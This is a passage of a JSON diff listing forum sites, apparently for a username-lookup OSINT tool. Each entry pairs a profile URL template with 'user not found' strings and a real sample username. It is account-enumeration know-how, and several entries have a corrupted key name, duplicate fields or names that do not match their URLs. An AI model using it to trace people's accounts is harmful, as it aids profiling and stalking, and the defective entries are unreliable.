"usernameON": "tbes50203", + "bad_site": "" + }, + "Forum_sevenstring": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://sevenstring.org/members/?username={}", + "urlMain": "https://sevenstring.org", + "usernameON": "maxofmetal", + "comments": "zamedlenie", + "headers": { + "User-Agent": "curl/8.11.0" + }, + "bad_site": "" + }, + "Forum_severushermione": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "http://severushermione.clan.su/index/8-0-{}", + "urlMain": "http://severushermione.clan.su", + "usernameON": "Olias", + "bad_site": "" + }, + "Forum_severussnape": { + "country": "🇷🇺", + "country_klas": "RU", + "exclusion": "[а-яА-Я]", + "errorMsg": "профиль забанен", + "errorMsg2": "tr>403 Forbidden", + "errorTyp��": "message", + "url": "http://sfinx-cats.ucoz.ru/index/8-0-{}", + "urlMain": "http://sfinx-cats.ucoz.ru", + "usernameON": "Meggikliri", + "bad_site": "", + "exclusion": "\\W" + }, + "Forum_sgvavia": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://www.sgvavia.ru/index/8-0-{}", + "urlMain": "https://www.sgvavia.ru", + "usernameON": "alla22", + "bad_site": "" + }, + "Forum_shaman": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "<title>403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://shaman.3dn.ru/index/8-0-{}", + "urlMain": "https://shaman.3dn.ru", + "usernameON": "vtaletkhfr", + "bad_site": "" + }, + "Forum_shanse": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://shanse.ucoz.com/index/8-0-{}", + "urlMain": "https://shanse.ucoz.com", + "usernameON": "Юлия", + "bad_site": "" + }, + "Forum_shanson": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://shanson.ucoz.ru/index/8-0-{}", + "urlMain": "https://shanson.ucoz.ru", + "usernameON": "FERMABOT", + "bad_site": "" + }, + "Forum_shatoy": { + "country": "🇷🇺", + "country_klas": "RU", + "exclusion": "[а-яА-Я]", + "errorMsg": "профиль забанен", + "errorMsg2": "tr>403 Forbidden", + "errorMsg3": "едеральн", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://sherlar.3dn.ru/index/8-0-{}", + "urlMain": "https://sherlar.3dn.ru", + "usernameON": "dugimmump", + "bad_site": "" + }, + "Forum_shiachat": { + "country": "🇮🇷", + "country_klas": "IR", + "errorMsg": "0 results", + "errorMsg2": "Please wait", + "errorMsg3": "| Cloudflare", + "errorTyp��": "message", + "url": "https://www.shiachat.com/forum/search/?q={}&quick=1&type=core_members", + "urlMain": "https://www.shiachat.com", + "usernameON": "Hameedeh", + "bad_site": "" + }, + "Forum_shiftdelete": { + "country": "🇹🇷", + "country_klas": "TR", + "errorTyp��": "redirection", + "url": "https://forum.shiftdelete.net/uyeler/?username={}", + "urlMain": "https://forum.shiftdelete.net", + "usernameON": "adam", + "bad_site": "", + "headers": { + "User-Agent": "curl/8.11.0" + } + }, + "Forum_shiptext": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://shiptext.ucoz.ru/index/8-0-{}", + "urlMain": "https://shiptext.ucoz.ru", + "usernameON": "Taruto", + "bad_site": "" + }, + "Forum_shirokovskaya": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorMsg3": "едеральн", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "http://широковская.рф/index/8-0-{}", + "urlMain": "http://широковская.рф", + "usernameON": "Надя", + "bad_site": "" + }, + "Forum_shkola-letovo": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorMsg3": "едеральн", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://shkola-letovo.my1.ru/index/8-0-{}", + "urlMain": "https://shkola-letovo.my1.ru", + "usernameON": "belkazalesskaya", + "bad_site": "" + }, + "Forum_shkolnikov": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://shkolnikov.clan.su/index/8-0-{}", + "urlMain": "https://shkolnikov.clan.su", + "usernameON": "Adelamow", + "bad_site": "" + }, + "Forum_shkval": { + "country": "🇷🇺", + "country_klas": "RU", + "exclusion": "[а-яА-Я]", + "errorMsg": "профиль забанен", + "errorMsg2": "tr>403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://shoubiz.my1.ru/index/8-0-{}", + "urlMain": "https://shoubiz.my1.ru", + "usernameON": "eagles_yar", + "bad_site": "" + }, + "Forum_shumka": { + "country": "🇺🇦", + "country_klas": "UA", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "http://shumka.at.ua/index/8-0-{}", + "urlMain": "http://shumka.at.ua", + "usernameON": "vikadroyp08", + "bad_site": "" + }, + "Forum_shustrov": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "<title>403 Forbidden", + "errorMsg3": "едеральн", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://shustrov.clan.su/index/8-0-{}", + "urlMain": "https://shustrov.clan.su", + "usernameON": "Crayulin", + "bad_site": "" + }, + "Forum_shuumm": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://shuumm.ucoz.ru/index/8-0-{}", + "urlMain": "https://shuumm.ucoz.ru", + "usernameON": "shuumm", + "bad_site": "" + }, + "Forum_shvedun": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Подходящих тем или сообщений не найдено.", + "errorMsg2": "Информация", + "errorTyp��": "message", + "url": "http://www.forum.shvedun.ru/search.php?keywords=&terms=all&author={}", + "urlMain": "http://www.forum.shvedun.ru", + "usernameON": "red", + "comments": "Oplata", + "bad_site": "" + }, + "Forum_siava": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Подходящих тем или сообщений не найдено.", + "errorMsg2": "Информация", + "errorTyp��": "message", + "url": "https://siava.ru/forum/search.php?keywords=&terms=all&author={}", + "urlMain": "https://siava.ru", + "usernameON": "Keks", + "bad_site": "" + }, + "Forum_sibcoins": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "<title>403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://sibcoins.ucoz.ru/index/8-0-{}", + "urlMain": "https://sibcoins.ucoz.ru", + "usernameON": "FERMABOT", + "bad_site": "" + }, + "Forum_siberia_war": { + "country": "🇷🇺", + "country_klas": "RU", + "exclusion": "[а-яА-Я]", + "errorMsg": "профиль забанен", + "errorMsg2": "tr> :: Сибмама - о семье, беременности и детях", + "errorTyp��": "message", + "url": "https://forum.sibmama.ru/profile.php?mode=viewprofile&u={}", + "urlMain": "https://forum.sibmama.ru/", + "usernameON": "adam", + "bad_site": "" + }, + "Forum_siccness": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://www.siccness.net/xf/members/?username={}", + "urlMain": "https://www.siccness.net", + "usernameON": "muthafknmexican", + "bad_site": "", + "headers": { + "User-Agent": "curl/8.11.0" + } + }, + "Forum_siemens-club": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorMsg3": "едеральн", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://siemens-club.ucoz.ru/index/8-0-{}", + "urlMain": "https://siemens-club.ucoz.ru", + "usernameON": "roterb", + "bad_site": "" + }, + "Forum_siemens-town": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403", + "errorTyp��": "message", + "url": "https://siemens-town.my1.ru/index/8-0-{}", + "urlMain": "https://siemens-town.my1.ru", + "usernameON": "pomoshigorigor", + "bad_site": "", + "exclusion": "\\W" + }, + "Forum_sierraclubspb": { + "country": "🇷🇺", + "country_klas": "RU", + "exclusion": "[а-яА-Я]", + "errorMsg": "профиль забанен", + "errorMsg2": "tr><td colspan", + "errorMsg3": "| Cloudflare", + "errorTyp��": "message", + "url": "https://sierraclubspb.borda.ru/?32-{}", + "urlMain": "https://sierraclubspb.borda.ru", + "usernameON": "truevalve", + "bad_site": "" + }, + "Forum_sierrawireless": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "status_code", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://forum.sierrawireless.com/u/{}/summary", + "urlMain": "https://forum.sierrawireless.com", + "usernameON": "guigui", + "bad_site": "" + }, + "Forum_sigerous": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "<title>403 Forbidden", + "errorMsg3": "едеральн", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "http://sigerous.ru/index/8-0-{}", + "urlMain": "http://sigerous.ru", + "usernameON": "repteloid1111", + "bad_site": "" + }, + "Forum_silveradosierra": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://www.silveradosierra.com/members/?username={}", + "urlMain": "https://www.silveradosierra.com", + "usernameON": "babock58", + "headers": { + "User-Agent": "curl/8.11.0" + }, + "bad_site": "" + }, + "Forum_silverstream": { + "country": "🇷🇺", + "country_klas": "RU", + "exclusion": "[а-яА-Я]", + "errorMsg": "профиль забанен", + "errorMsg2": "tr>Результатов поиска нет", + "errorMsg3": "Cloudflare", + "errorTyp��": "message", + "url": "https://f.simpleminecraft.ru/index.php?/search/&q={}&quick=1&type=core_members", + "urlMain": "https://f.simpleminecraft.ru", + "usernameON": "delars", + "bad_site": "" + }, + "Forum_simracing": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "0 результатов", + "errorMsg2": "Пожалуйста, подождите", + "errorTyp��": "message", + "url": "https://forum.simracing.su/search/?q={}&quick=1&type=core_members", + "urlMain": "https://forum.simracing.su", + "usernameON": "veter", + "bad_site": "" + }, + "Forum_sims3game": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorMsg3": "едеральн", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://sims3game.ucoz.ru/index/8-0-{}", + "urlMain": "https://sims3game.ucoz.ru", + "usernameON": "reveille", + "bad_site": "" + }, + "Forum_singaporebrides": { + "country": "🇸🇬", + "country_klas": "SG", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://singaporebrides.com/weddingforum/members/?username={}", + "urlMain": "https://singaporebrides.com", + "usernameON": "buzz", + "headers": { + "User-Agent": "curl/8.11.0" + }, + "bad_site": "" + }, + "Forum_sitepoint": { + "country": "🌎", + "country_klas": "WR", + "errorMsg": "\\"posts\\":[],\\"users\\":[],", + "errorMsg2": "Please wait", + "errorMsg3": "| Cloudflare", + "errorTyp��": "message", + "url": "https://www.sitepoint.com/community/search?context=topic&q={}&search_type=users&skip_context=true", + "urlMain": "https://www.sitepoint.com", + "usernameON": "adam", + "bad_site": "" + }, + "Forum_sivatherium": { + "country": "🇷🇺", + "country_klas": "RU", + "exclusion": "[а-яА-Я]", + "errorMsg": "профиль забанен", + "errorMsg2": "tr>403 Forbidden", + "errorMsg3": "едеральн", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://skachat-warcraft-3.ru/index/8-0-{}", + "urlMain": "https://skachat-warcraft-3.ru", + "usernameON": "Grandar", + "bad_site": "" + }, + "Forum_skateclass": { + "country": "🇷🇺", + "country_klas": "RU", + "exclusion": "[а-яА-Я]", + "errorMsg": "профиль забанен", + "errorMsg2": "tr>403 Forbidden", + "errorTyp��": "message", + "url": "https://sokrovische.ucoz.ru/index/8-0-{}", + "urlMain": "https://sokrovische.ucoz.ru", + "usernameON": "Visondela", + "bad_site": "", + "exclusion": "\\W" + }, + "Forum_solana": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "status_code", + "exclusion": "[а-яА-Я]", + "url": "https://forum.solana.com/u/{}/summary", + "urlMain": "https://forum.solana.com", + "usernameON": "ilian", + "bad_site": "" + }, + "Forum_soligorsk": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorMsg3": "едеральн", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://soligorsk-info.ucoz.com/index/8-0-{}", + "urlMain": "https://soligorsk-info.ucoz.com", + "usernameON": "andydudyk", + "bad_site": "" + }, + "Forum_solikamsk1": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://solikamsk1.ucoz.org/index/8-0-{}", + "urlMain": "https://solikamsk1.ucoz.org", + "usernameON": "Openair", + "bad_site": "" + }, + "Forum_solnechnyi": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorTyp��": "message", + "url": "https://solnechnyi.ucoz.ru/index/8-0-{}", + "urlMain": "https://solnechnyi.ucoz.ru", + "usernameON": "eameln07", + "bad_site": "", + "exclusion": "\\W" + }, + "Forum_solonkino": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorTyp��": "message", + "url": "https://solonkino.3dn.ru/index/8-0-{}", + "urlMain": "https://solonkino.3dn.ru", + "usernameON": "tasya", + "bad_site": "", + "exclusion": "\\W" + }, + "Forum_solotouch": { + "country": "🌎", + "country_klas": "WR", + "errorMsg": "No suitable matches were found.", + "errorMsg2": "Please wait", + "errorMsg3": "| Cloudflare", + "errorTyp��": "message", + "url": "https://www.solotouch.com/forum/search.php?keywords=&terms=all&author={}&sc=1&sf=all&sr=posts&sk=t&sd=d&st=0&ch=300&t=0&submit=Search", + "urlMain": "https://www.solotouch.com/", + "usernameON": "rosco1", + "bad_site": "" + }, + "Forum_solstar": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorMsg3": "едеральн", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "http://solstar.ru/index/8-0-{}", + "urlMain": "http://solstar.ru", + "usernameON": "wellnemo", + "bad_site": "" + }, + "Forum_sonexbuilders": { + "country": "🌎", + "country_klas": "WR", + "errorMsg": "No suitable matches were found.", + "errorMsg2": "Information", + "errorMsg3": "Please wait", + "errorTyp��": "message", + "url": "https://sonexbuilders.net/search.php?keywords=&terms=all&author={}", + "urlMain": "https://sonexbuilders.net", + "usernameON": "lakespookie", + "bad_site": "" + }, + "Forum_sony127": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorMsg3": "едеральн", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://sony127.3dn.ru/index/8-0-{}", + "urlMain": "https://sony127.3dn.ru", + "usernameON": "htaletuauo", + "bad_site": "" + }, + "Forum_sonyalpha": { + "country": "🇩🇪", + "country_klas": "DE", + "errorMsg": "0 Ergebnisse", + "errorMsg2": "One moment,", + "errorMsg3": "| Cloudflare", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://www.sonyalphaforum.de/search/?q={}&quick=1&type=core_members", + "urlMain": "https://www.sonyalphaforum.de", + "usernameON": "ger100", + "bad_site": "" + }, + "Forum_sonycam": { + "country": "🇪🇸", + "country_klas": "ES", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://www.sonycam.es/foro/members/?username={}", + "urlMain": "https://www.sonycam.es", + "usernameON": "dano", + "headers": { + "User-Agent": "curl/8.11.0" + }, + "bad_site": "" + }, + "Forum_soslujivzi": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://soslujivzi.ru/index/8-0-{}", + "urlMain": "https://soslujivzi.ru", + "usernameON": "bazy", + "bad_site": "" + }, + "Forum_sosuave": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://www.sosuave.net/forum/members/?username={}", + "urlMain": "https://www.sosuave.net", + "usernameON": "theprospect", + "headers": { + "User-Agent": "curl/8.11.0" + }, + "bad_site": "" + }, + "Forum_sourcepython": { + "country": "🇺🇸", + "country_klas": "US", + "errorMsg": "Information", + "errorMsg2": "Please wait", + "errorMsg3": "| Cloudflare", + "errorTyp��": "message", + "url": "https://forums.sourcepython.com/search.php?keywords=&terms=all&author={}&sc=1&sf=all&sr=posts&sk=t&sd=d&st=0&ch=300&t=0&submit=Search", + "urlMain": "https://forums.sourcepython.com/", + "usernameON": "Mahi", + "comments": "Archive", + "bad_site": 1 + }, + "Forum_south-tm": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "http://south-tm.clan.su/index/8-0-{}", + "urlMain": "http://south-tm.clan.su", + "usernameON": "Shchedrovnops", + "bad_site": "" + }, + "Forum_sovet-miliziy": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "http://sovet-miliziy.narod.ru/index/8-0-{}", + "urlMain": "http://sovet-miliziy.narod.ru", + "usernameON": "Евпатий", + "bad_site": "" + }, + "Forum_sovetskoye": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "<title>403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://sovetskoye.ucoz.ru/index/8-0-{}", + "urlMain": "https://sovetskoye.ucoz.ru", + "usernameON": "VikingRUS", + "bad_site": "" + }, + "Forum_sovgavan": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorTyp��": "message", + "url": "http://www.sovgavan.ru/index/8-0-{}", + "urlMain": "http://www.sovgavan.ru", + "usernameON": "Titana", + "bad_site": "", + "exclusion": "\\W" + }, + "Forum_sovpl": { + "country": "🇷🇺", + "country_klas": "RU", + "exclusion": "[а-яА-Я]", + "errorMsg": "профиль забанен", + "errorMsg2": "tr>403", + "errorTyp��": "message", + "url": "https://soyuz-pisatelei.ru/index/8-0-{}", + "urlMain": "https://soyuz-pisatelei.ru", + "usernameON": "Litvin", + "bad_site": "" + }, + "Forum_space": { + "country": "🇬🇧", + "country_klas": "GB", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://forums.space.com/members/?username={}", + "urlMain": "https://forums.space.com", + "usernameON": "helio", + "comments": "Archive", + "bad_site": 1, + "headers": { + "User-Agent": "curl/8.11.0" + } + }, + "Forum_spacebattles": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://forums.spacebattles.com/members/?username={}", + "urlMain": "https://forums.spacebattles.com", + "usernameON": "lt_ryguy", + "bad_site": "", + "headers": { + "User-Agent": "curl/8.11.0" + } + }, + "Forum_spanielclub": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "К сожалению", + "errorMsg2": "| Cloudflare", + "errorTyp��": "message", + "url": "https://spanielclub.kamrbb.ru/?x=find&f={}&type=topics&nick=on#top", + "urlMain": "https://spanielclub.kamrbb.ru", + "usernameON": "kertezayde", + "bad_site": "" + }, + "Forum_spchat": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Подходящих тем или сообщений не найдено.", + "errorMsg2": "Информация", + "errorTyp��": "message", + "url": "https://forum.spchat.ru/search.php?keywords=&terms=all&author={}", + "urlMain": "https://forum.spchat.ru", + "usernameON": "Taniar", + "bad_site": "" + }, + "Forum_spdonetsk": { + "country": "🇺🇦", + "country_klas": "UA", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://spdonetsk.ucoz.ua/index/8-0-{}", + "urlMain": "https://spdonetsk.ucoz.ua", + "usernameON": "Alazany", + "bad_site": "" + }, + "Forum_speakev": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://www.speakev.com/members/?username={}", + "urlMain": "https://www.speakev.com", + "usernameON": "nickkk32", + "headers": { + "User-Agent": "curl/8.11.0" + }, + "bad_site": "" + }, + "Forum_specialstage": { + "country": "🇨🇦", + "country_klas": "CA", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://www.specialstage.com/members/?username={}", + "urlMain": "https://www.specialstage.com", + "usernameON": "ssadmin", + "headers": { + "User-Agent": "curl/8.11.0" + }, + "bad_site": "" + }, + "Forum_specktra": { + "country": "🇺🇸", + "country_klas": "US", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://www.specktra.net/members/?username={}", + "urlMain": "https://www.specktra.net", + "usernameON": "shellygrrl", + "bad_site": "", + "headers": { + "User-Agent": "curl/8.11.0" + } + }, + "Forum_spellbinder": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Подходящих тем или сообщений не найдено.", + "errorMsg2": "Информация", + "errorTyp��": "message", + "url": "https://forum.spellbinder.tv/search.php?keywords=&terms=all&author={}", + "urlMain": "https://forum.spellbinder.tv", + "usernameON": "vov2302", + "bad_site": "" + }, + "Forum_spiceworks": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "status_code", + "url": "https://community.spiceworks.com/u/{}", + "urlMain": "https://community.spiceworks.com", + "usernameON": "hulksmash72", + "comments": "RUblock", + "bad_site": "" + }, + "Forum_spinningist": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "http://www.spinningist.com/index/8-0-{}", + "urlMain": "http://www.spinningist.com", + "usernameON": "Nux", + "comments": "Oplata", + "bad_site": "" + }, + "Forum_spitz-dog": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "http://spitz-dog.ucoz.ru/index/8-0-{}", + "urlMain": "http://spitz-dog.ucoz.ru", + "usernameON": "hieswivay", + "bad_site": "" + }, + "Forum_spoiledmaltese": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://www.spoiledmaltese.com/members/?username={}", + "urlMain": "https://www.spoiledmaltese.com", + "usernameON": "duncanweishaar093", + "headers": { + "User-Agent": "curl/8.11.0" + }, + "bad_site": "" + }, + "Forum_spolo": { + "country": "🇷🇺", + "country_klas": "RU", + "exclusion": "[а-яА-Я]", + "errorMsg": "профиль забанен", + "errorMsg2": "tr>403 Forbidden", + "errorMsg3": "едеральн", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://sporeland.ru/index/8-0-{}", + "urlMain": "https://sporeland.ru/", + "usernameON": "ms_Zeys", + "bad_site": "" + }, + "Forum_sport_f": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://www.sport-forums.com/members/?username={}", + "urlMain": "https://www.sport-forums.com", + "usernameON": "bascampt", + "headers": { + "User-Agent": "curl/8.11.0" + }, + "bad_site": "" + }, + "Forum_sportgymnastic": { + "country": "🇷🇺", + "country_klas": "RU", + "exclusion": "[а-яА-Я]", + "errorMsg": "профиль забанен", + "errorMsg2": "tr>403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "http://sputnikkey.ru/index/8-0-{}", + "urlMain": "http://sputnikkey.ru", + "usernameON": "alexstvpr", + "bad_site": "" + }, + "Forum_spyro-realms": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorMsg3": "едеральн", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://www.spyro-realms.com/index/8-0-{}", + "urlMain": "https://www.spyro-realms.com", + "usernameON": "ftaletoxrf", + "bad_site": "" + }, + "Forum_sqlteam": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "status_code", + "exclusion": "[а-яА-Я]", + "url": "https://forums.sqlteam.com/u/{}/summary", + "urlMain": "https://forums.sqlteam.com", + "usernameON": "waterduck", + "bad_site": "" + }, + "Forum_squarespace": { + "country": "🌎", + "country_klas": "WR", + "errorMsg": "Found 0 results", + "errorMsg2": "403 Forbidden", + "errorMsg3": "едеральн", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://svet-unlimited.ucoz.ru/index/8-0-{}", + "urlMain": "https://svet-unlimited.ucoz.ru", + "usernameON": "Milija", + "bad_site": "" + }, + "Forum_svobodavnutri": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "К сожалению", + "errorMsg2": "| Cloudflare", + "errorTyp��": "message", + "url": "https://svobodavnutri.kamrbb.ru/?x=find&f={}&type=topics&nick=on#top", + "urlMain": "https://svobodavnutri.kamrbb.ru", + "usernameON": "lurdopufye", + "bad_site": "" + }, + "Forum_svoystyle": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://svoystyle.ucoz.ru/index/8-0-{}", + "urlMain": "https://svoystyle.ucoz.ru/", + "usernameON": "isaeva3", + "bad_site": "" + }, + "Forum_svstrazh": { + "country": "🇷🇺", + "country_klas": "RU", + "exclusion": "[а-яА-Я]", + "errorMsg": "профиль забанен", + "errorMsg2": "tr><td colspan", + "errorMsg3": "| Cloudflare", + "errorTyp��": "message", + "url": "https://svstrazh.forum24.ru/?32-{}", + "urlMain": "https://svstrazh.forum24.ru", + "usernameON": "blagimip", + "bad_site": "" + }, + "Forum_svstudio": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "<title>403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://svstudio.ucoz.ru/index/8-0-{}", + "urlMain": "https://svstudio.ucoz.ru/", + "usernameON": "sunkid", + "bad_site": "" + }, + "Forum_svvptau": { + "country": "🇷🇺", + "country_klas": "RU", + "exclusion": "[а-яА-Я]", + "errorMsg": "профиль забанен", + "errorMsg2": "tr><td colspan", + "errorMsg3": "| Cloudflare", + "errorTyp��": "message", + "url": "https://svvptau.borda.ru/?32-{}", + "urlMain": "https://svvptau.borda.ru", + "usernameON": "sops", + "bad_site": "" + }, + "Forum_swedespeed": { + "country": "🇨🇦", + "country_klas": "CA", + "errorTyp��": "redirection", + "url": "https://www.swedespeed.com/members/?username={}", + "urlMain": "https://www.swedespeed.com", + "usernameON": "stewart13", + "bad_site": "", + "headers": { + "User-Agent": "curl/8.11.0" + } + }, + "Forum_swift": { + "country": "🌎", + "country_klas": "WR", + "errorMsg": "posts\\":[],\\"users\\", + "errorMsg2": "Please wait", + "errorMsg3": "| Cloudflare", + "errorTyp��": "message", + "url": "https://forums.swift.org/search?q={}&search_type=users", + "urlMain": "https://forums.swift.org", + "usernameON": "adam", + "bad_site": "" + }, + "Forum_swiftbook": { + "country": "🇷🇺", + "country_klas": "RU", + "errorTyp��": "status_code", + "url": "https://forum.swiftbook.ru/u/{}/summary", + "urlMain": "https://forum.swiftbook.ru", + "usernameON": "green", + "comments": "bad", + "bad_site": 1 + }, + "Forum_swleague": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "<title>403 Forbidden", + "errorMsg3": "едеральн", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "http://www.swleague.ru/index/8-0-{}", + "urlMain": "http://www.swleague.ru", + "usernameON": "rtalethabg", + "bad_site": "" + }, + "Forum_swoy": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorMsg3": "едеральн", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://swoy.ucoz.ru/index/8-0-{}", + "urlMain": "https://swoy.ucoz.ru", + "usernameON": "Tampy", + "bad_site": "" + }, + "Forum_symerechnaya": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "К сожалению", + "errorMsg2": "| Cloudflare", + "errorTyp��": "message", + "url": "https://symerechnaya.kamrbb.ru/?x=find&f={}&type=topics&nick=on#top", + "urlMain": "https://symerechnaya.kamrbb.ru/", + "usernameON": "jelmafesti", + "bad_site": "" + }, + 